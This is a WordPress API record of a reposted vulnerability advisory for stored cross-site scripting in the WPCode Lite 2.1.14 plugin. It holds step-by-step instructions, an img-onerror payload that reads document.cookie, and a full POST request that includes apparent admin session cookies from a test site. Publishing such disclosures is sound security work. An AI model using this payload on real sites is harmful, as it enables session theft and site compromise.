{"id":57808,"date":"2024-07-01T19:49:54","date_gmt":"2024-07-01T16:49:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179279\/wpcodelite2114-xss.txt"},"modified":"2024-07-01T19:49:54","modified_gmt":"2024-07-01T16:49:54","slug":"wordpress-wpcode-lite-2-1-14-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-wpcode-lite-2-1-14-cross-site-scripting\/","title":{"rendered":"WordPress WPCode Lite 2.1.14 Cross Site Scripting"},"content":{"rendered":"<p># Exploit Title: Wordpress WPCode Lite Version 2.1.14 Stored XSS<br \/># Date: 2024-06-30<br \/># Exploit Author: tmrswrr<br \/># Category : Webapps<br \/># Vendor Homepage: https:\/\/wpcode.com\/?utm_source=wprepo&amp;utm_medium=link&amp;utm_campaign=liteplugin<br \/># Version 2.1.14<\/p>\n<p>### Steps to Execute the Payload:<\/p>\n<p>1. **Access the Admin Panel:**<br \/>&#8211; Navigate to the admin panel of your WordPress site.<br \/>&#8211; Go to `Code Snippets &gt; `Edit Snippet` via the following URL: <br \/>&#8220;`<br \/>https:\/\/127.0.0.1\/wp-admin\/admin.php?page=wpcode-snippet-manager&amp;snippet_id=10<br \/>&#8220;`<\/p>\n<p>2. **Insert the Payload:**<br \/>&#8211; In the **Code Preview** section, insert the following payload:<br \/>&#8220;`<br \/>&#8220;&gt;&lt;img src=x onerrora=confirm() onerror=confirm(document.cookie)&gt;<br \/>&#8220;`<\/p>\n<p>3. **Save and Verify:**<br \/>&#8211; Active , Save the changes.<br \/>&#8211; Navigate to the main page of your site:<br \/>&#8220;`<br \/>https:\/\/127.0.0.1\/<br \/>&#8220;`<br \/>&#8211; You should see the payload executed.<\/p>\n<p>Post Request :<\/p>\n<p>POST \/wp-admin\/admin.php?page=wpcode-snippet-manager&amp;snippet_id=10 HTTP\/2<br \/>Host: 127.0.0.1<br \/>Cookie: wordpress_sec_f8b0c342e0d48561e75d0c6818e29f16=admin%7C1720960057%7CA75X38uHvZeAN0Mrrbpj5brIJolGFEapEPEUcg7PyPe%7C37619eff632d24400e28a219976a87efa83c4bae1ebe04120e54cb37dbe30a03; wordpress_logged_in_f8b0c342e0d48561e75d0c6818e29f16=admin%7C1720960057%7CA75X38uHvZeAN0Mrrbpj5brIJolGFEapEPEUcg7PyPe%7C49992c3be16529995b5429fdd992a2dc1ff8cafa77c6f72580d9dbf9f3fe82ca; wp-settings-time-1=1719753966; WP-TSW-Session=5lursai747c2vcd5uno86liv2c; wp-settings-1=editor%3Dhtml<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; rv:109.0) Gecko\/20100101 Firefox\/115.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate<br \/>Referer: https:\/\/127.0.0.1\/wp-admin\/admin.php?page=wpcode-snippet-manager&amp;snippet_id=10<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 673<br \/>Origin: https:\/\/vagabondcreature.s3-tastewp.com<br \/>Dnt: 1<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<br \/>Te: trailers<\/p>\n<p>wpcode_active=&amp;button=publish&amp;wpcode_snippet_title=Untitled+Snippet&amp;wpcode_snippet_type=html&amp;wpcode_snippet_code=%22%3E%3Cimg+src%3Dx+onerrora%3Dconfirm%28%29+onerror%3Dconfirm%28document.cookie%29%3E&amp;wpcode_snippet_text=%3Cp%3E%22%26gt%3B%3Cimg+src%3D%22x%22+%2F%3E%3C%2Fp%3E&amp;wpcode_auto_insert=1&amp;wpcode_auto_insert_location_extra=&amp;wpcode_auto_insert_number=1&amp;wpcode_auto_insert_location=site_wide_header&amp;wpcode-schedule-start=&amp;wpcode-schedule-end=&amp;wpcode_cl_rules=%5B%5D&amp;wpcode_tags=&amp;wpcode_priority=10&amp;wpcode_note=&amp;id=10&amp;wpcode-save-snippet-nonce=73d127c1c2&amp;_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dwpcode-snippet-manager%26snippet_id%3D10%26message%3D1%26error<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Wordpress WPCode Lite Version 2.1.14 Stored XSS# Date: 2024-06-30# Exploit Author: tmrswrr# Category : Webapps# Vendor Homepage: https:\/\/wpcode.com\/?utm_source=wprepo&amp;utm_medium=link&amp;utm_campaign=liteplugin# Version 2.1.14 ### Steps to Execute the Payload: 1. **Access the Admin Panel:**&#8211; Navigate to the admin panel of your WordPress site.&#8211; Go to `Code Snippets &gt; `Edit Snippet` via the following URL: &#8220;`https:\/\/127.0.0.1\/wp-admin\/admin.php?page=wpcode-snippet-manager&amp;snippet_id=10&#8220;` &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57808","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57808","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57808"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57808\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57808"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57808"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57808"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}